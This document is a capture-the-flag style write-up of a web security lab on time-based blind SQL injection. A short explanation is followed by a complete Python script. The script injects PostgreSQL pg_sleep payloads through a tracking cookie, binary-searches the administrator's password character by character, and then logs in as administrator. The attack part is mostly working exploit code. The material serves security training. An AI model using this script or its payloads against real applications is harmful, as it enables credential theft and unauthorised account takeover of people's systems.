12. Blind SQL injection with time delays and information retrieval

Similar lab to the previous blind SQL injection password disclosure labs. This web application doesn’t provide error messages, stack traces, etc. when invalid SQL queries are executed. We can, however, detect what type of SQL database is being used and whether or not the query is injectable by using a time delay.

To confirm that SQL injection exists, we use a sleep function specific to PostgreSQL. If the database were Microsoft, Oracle, etc. we can always detect what type of SQL database based on the syntax of the sleep command.

Like the previous labs, we execute a binary search using time to detect where our character is in the character array. If we guess the character of the password correctly, or if we guess its direction correctly, we delay time by 3 seconds and detect that. Otherwise, the response will return immediately.

Solution:

# usage:
# python3 12.py \
# --u https://0aaa00a7037819be80f76c960063008a.web-security-academy.net
 
import http.client
import re
import string
import time
from argparse import ArgumentParser
from typing import Optional
 
import requests
 
ALPHANUM = list(string.digits + string.ascii_lowercase)
http.client.HTTPConnection.debuglevel = 1
 
 
class Solution:
    def __init__(self, url: str) -> None:
        self.url = url.rstrip("/")
        self.s = None
 
    def login(self, username: str, password: str) -> requests.Response:
        self.s = requests.Session()
        login_url = f"{self.url}/login"
        r = self.s.get(login_url)
        csrf = re.findall(r"\"csrf\" value=\"([\w]+)\"", r.text)[0]
        r = self.s.post(
            login_url,
            data={
                "csrf": csrf,
                "username": username,
                "password": password,
            },
        )
 
        return r
 
    def search(self, i: int) -> Optional[str]:
        s = requests.Session()
        req = s.get(f"{self.url}/")
        cookies = s.cookies.get_dict()
        tracking_id = cookies["TrackingId"]
 
        l, r = 0, len(ALPHANUM) - 1
        while l <= r:
            m = (l + r) // 2
 
            cookies["TrackingId"] = (
                f"{tracking_id}'%3bSELECT+CASE+WHEN+SUBSTRING(password,{i},1)='{ALPHANUM[m]}'+THEN+pg_sleep(3)+ELSE+pg_sleep(0)+END+FROM+users+WHERE+username%3d'administrator'--"
            )
            s = requests.Session()
            t0 = time.time()
            s.get(f"{self.url}/", cookies=cookies)
            t1 = time.time()
            if t1 - t0 >= 3:
                return ALPHANUM[m]
 
            cookies["TrackingId"] = (
                f"{tracking_id}'%3bSELECT+CASE+WHEN+SUBSTRING(password,{i},1)<'{ALPHANUM[m]}'+THEN+pg_sleep(3)+ELSE+pg_sleep(0)+END+FROM+users+WHERE+username%3d'administrator'--"
            )
            s = requests.Session()
            t0 = time.time()
            s.get(f"{self.url}/", cookies=cookies)
            t1 = time.time()
            if t1 - t0 >= 3:
                r = m - 1
            else:
                l = m + 1
 
        return
 
    def solve(self) -> None:
        password = []
        i = 1
        while True:
            ch = self.search(i)
            if not ch:
                break
            else:
                password.append(ch)
            i += 1
 
        password = "".join(password)
        print(f"Password found! -- {password}")
        self.login("administrator", password)
 
 
def main():
    parser = ArgumentParser()
    parser.add_argument("--u", "--url", dest="url")
    args = parser.parse_args()
    s = Solution(args.url)
    s.solve()
 
 
if __name__ == "__main__":
    main()